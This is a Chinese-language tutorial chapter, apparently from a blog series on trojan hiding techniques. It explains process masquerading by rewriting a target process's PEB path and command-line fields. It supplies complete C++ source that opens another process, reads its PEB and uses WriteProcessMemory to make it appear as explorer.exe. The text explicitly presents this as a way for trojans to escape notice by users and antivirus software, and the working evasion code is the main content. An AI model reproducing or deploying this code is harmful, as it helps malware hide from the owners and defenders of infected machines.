第七章 隐藏技术---进程伪装

3448 职业解析 | 2025-10-15 00:31:43

一、进程伪装

对于木马病毒来说,最简单的进程伪装方式就是修改进程名称。例如,将本地文件名称修改为svchost.exe、services.exe等系统进程,从而不被用户和杀软发现。接下来,将要介绍的进程伪装可以修改任意指定进程的信息,即该进程信息在系统中显示的时另一个进程的信息。这样,指定进程与伪装进程的信息相同,但实际上,它还执行原来的进程的操作,这就达到了伪装的目的。

基础知识:1、什么时PEB(Process Envirorment Block Structure)

https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb

英文翻译过来就是进程环境信息块,这里包含了一写进程的信息。

二、API

1、NtQueryInformationProcess函数

获取指定进程的信息

https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess

注意:此函数没有关联的导入库,所以必须使用LoadLibrary和GetProcessAddress函数从Ntdll.dlll中获取该函数地址

2、PROCESS_BASIC_INFORMATION结构体

https://baike.baidu.com/item/PROCESS_INFORMATION/4931802?fr=aladdin

三、实现原理

进程伪装的原理不是很复杂,就是修改指定进程环境快中的进程路径以及命令行信息。所以,实现的关键在于进程环境块的获取。由上述的函数可知,可以通过ntdll.dll中的导出函数NtQueryInformationProcess来获取指定进程的PEB地址。获取目标进程的PEB之后,并不能直接根据指针来读写内存数据,因为该程序进程可能与目标进程并不在同一个进程内。由于进程空间独立性的缘故,所以需要通过调用WIN32 API函数ReadProcessMemory和WriteProcessMemory来读写目标进程内存。

具体的实现流程如下所示:

首先,根据进程的PID号打开指定的进程,并获取进程的句柄。

然后,从ntdll.dll中获取NtQueryInformationProcess函数的导出地址,因为该函数没有关联导入库,所以只能动态获取。

接着,使用NtQueryInformationProcess函数获取指定的进程基本信息PROCESS_BASIC_INFORMATION,并从中获取指定进程的PEB。

最后,就可以根据进程环境块中的ProcessParameters来获取指定进程的RTL_USER_PROCESS_PARAMETERS信息,这是因为PEB的路径信息、命令行信息存储在这个结构体中。调用ReadProcessMemory和WriteProcessMemory函数修改PEB中的路径信息、命令行信息等,从而实现进程伪装。

四、代码实现

DisguiseProcess.h

#ifndef _DISGUISE_PROCESS_H_

#define _DISGUISE_PROCESS_H_

#include

#include

#include

#include

#include

typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(

IN HANDLE ProcessHandle,

IN PROCESSINFOCLASS ProcessInformationClass,

OUT PVOID ProcessInformation,

IN ULONG ProcessInformationLength,

OUT PULONG ReturnLength OPTIONAL

);

// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装

BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd);

#endif

DisguiseProcess.cpp

#include "DisguiseProcess.h"

void ShowError(char* pszText)

{

char szErr[MAX_PATH] = { 0 };

::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());

::MessageBox(NULL, szErr, "ERROR", MB_OK);

}

// 修改指定进程的进程环境块PEB中的路径和命令行信息, 实现进程伪装

BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)

{

// 打开进程获取句柄

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

if (NULL == hProcess)

{

ShowError("OpenProcess");

return FALSE;

}

typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;

PROCESS_BASIC_INFORMATION pbi = { 0 };

PEB peb = { 0 };

RTL_USER_PROCESS_PARAMETERS Param = { 0 };

USHORT usCmdLen = 0;

USHORT usPathLen = 0;

// 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址

NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(

::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");

if (NULL == NtQueryInformationProcess)

{

ShowError("GetProcAddress");

return FALSE;

}

// 获取指定进程的基本信息

NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

if (!NT_SUCCESS(status))

{

ShowError("NtQueryInformationProcess");

return FALSE;

}

/*

注意在读写其他进程的时候,注意要使用ReadProcessMemory/WriteProcessMemory进行操作,

每个指针指向的内容都需要获取,因为指针只能指向本进程的地址空间,必须要读取到本进程空间。

要不然一直提示位置访问错误!

*/

// 获取指定进程进本信息结构中的PebBaseAddress

ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);

// 获取指定进程环境块结构中的ProcessParameters, 注意指针指向的是指定进程空间中

ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

// 修改指定进程环境块PEB中命令行信息, 注意指针指向的是指定进程空间中

usCmdLen = 2 + 2 * wcslen(lpwszCmd);

WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);

::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);

// 修改指定进程环境块PEB中路径信息, 注意指针指向的是指定进程空间中

usPathLen = 2 + 2 * wcslen(lpwszPath);

WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);

WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);

return TRUE;

}

DisguiseProcess_Test.cpp

#include "DisguiseProcess.h"

int _tmain(int argc, _TCHAR* argv[])

{

if (FALSE == DisguiseProcess(9968, L"C:\\Windows\\explorer.exe", L"explorer.exe"))

{

printf("Dsisguise Process Error.\n");

}

printf("Dsisguise Process OK.\n");

system("pause");

return 0;

}

五、小结

注意:1、一定要区分指针指向的是指定进程的空间还是本程序的空间,若指向其他进程空间,则一律使用ReadProcessMemory和WriteProcessMemory函数进行数据读写。

2、PEB修改程序在64位和32位系统中,分别编译为64位程序和32程序